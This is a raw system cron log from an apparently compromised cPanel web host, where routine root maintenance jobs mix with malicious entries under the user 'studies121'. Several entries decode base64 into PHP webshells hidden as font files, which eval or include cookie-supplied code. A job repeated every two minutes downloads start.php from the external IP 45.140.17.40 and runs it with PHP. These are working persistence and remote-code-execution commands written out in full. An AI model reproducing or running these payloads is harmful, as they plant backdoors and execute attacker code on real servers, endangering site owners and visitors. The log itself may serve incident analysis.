Sep  7 01:58:01 ip-184-168-122-23 CROND[28611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:59:01 ip-184-168-122-23 CROND[28698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:59:01 ip-184-168-122-23 CROND[28700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:59:01 ip-184-168-122-23 CROND[28699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:59:01 ip-184-168-122-23 CROND[28704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:00:01 ip-184-168-122-23 CROND[28874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:00:01 ip-184-168-122-23 CROND[28875]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 02:00:02 ip-184-168-122-23 CROND[28882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:00:02 ip-184-168-122-23 CROND[28879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:00:02 ip-184-168-122-23 CROND[28884]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 02:00:02 ip-184-168-122-23 CROND[28883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:00:02 ip-184-168-122-23 CROND[28878]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:00:02 ip-184-168-122-23 CROND[28885]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  7 02:00:02 ip-184-168-122-23 CROND[28880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:00:02 ip-184-168-122-23 CROND[28889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:01:01 ip-184-168-122-23 CROND[28977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:01:01 ip-184-168-122-23 CROND[28981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:01:01 ip-184-168-122-23 CROND[28979]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 02:01:01 ip-184-168-122-23 CROND[28983]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 02:01:01 ip-184-168-122-23 CROND[28985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:01:01 ip-184-168-122-23 CROND[28984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28983]: starting 0anacron
Sep  7 02:01:01 ip-184-168-122-23 anacron[29000]: Anacron started on 2026-09-07
Sep  7 02:01:01 ip-184-168-122-23 anacron[29000]: Normal exit (0 jobs run)
Sep  7 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29004]: finished 0anacron
Sep  7 02:02:02 ip-184-168-122-23 CROND[29075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:02:02 ip-184-168-122-23 CROND[29078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:02:02 ip-184-168-122-23 CROND[29081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:02:02 ip-184-168-122-23 CROND[29080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:02:02 ip-184-168-122-23 CROND[29082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:03:01 ip-184-168-122-23 CROND[29173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:03:01 ip-184-168-122-23 CROND[29172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:03:01 ip-184-168-122-23 CROND[29171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:03:01 ip-184-168-122-23 CROND[29174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:04:01 ip-184-168-122-23 CROND[29264]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:04:01 ip-184-168-122-23 CROND[29268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:04:01 ip-184-168-122-23 CROND[29271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:04:01 ip-184-168-122-23 CROND[29269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:04:01 ip-184-168-122-23 CROND[29272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:05:01 ip-184-168-122-23 CROND[29354]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:05:01 ip-184-168-122-23 CROND[29356]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 02:05:01 ip-184-168-122-23 CROND[29360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:05:01 ip-184-168-122-23 CROND[29357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:05:01 ip-184-168-122-23 CROND[29361]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:05:01 ip-184-168-122-23 CROND[29358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:05:01 ip-184-168-122-23 CROND[29359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:06:01 ip-184-168-122-23 CROND[29443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:06:01 ip-184-168-122-23 CROND[29444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:06:01 ip-184-168-122-23 CROND[29447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:06:01 ip-184-168-122-23 CROND[29445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:06:01 ip-184-168-122-23 CROND[29448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:07:01 ip-184-168-122-23 CROND[29525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:07:01 ip-184-168-122-23 CROND[29527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:07:01 ip-184-168-122-23 CROND[29529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:07:01 ip-184-168-122-23 CROND[29528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:08:01 ip-184-168-122-23 CROND[29606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:08:01 ip-184-168-122-23 CROND[29608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:08:01 ip-184-168-122-23 CROND[29609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:08:01 ip-184-168-122-23 CROND[29610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:08:01 ip-184-168-122-23 CROND[29611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:09:01 ip-184-168-122-23 CROND[29781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:09:01 ip-184-168-122-23 CROND[29784]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 02:09:01 ip-184-168-122-23 CROND[29786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:09:01 ip-184-168-122-23 CROND[29788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:09:01 ip-184-168-122-23 CROND[29789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:10:01 ip-184-168-122-23 CROND[29880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:10:01 ip-184-168-122-23 CROND[29881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:10:01 ip-184-168-122-23 CROND[29882]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 02:10:01 ip-184-168-122-23 CROND[29883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
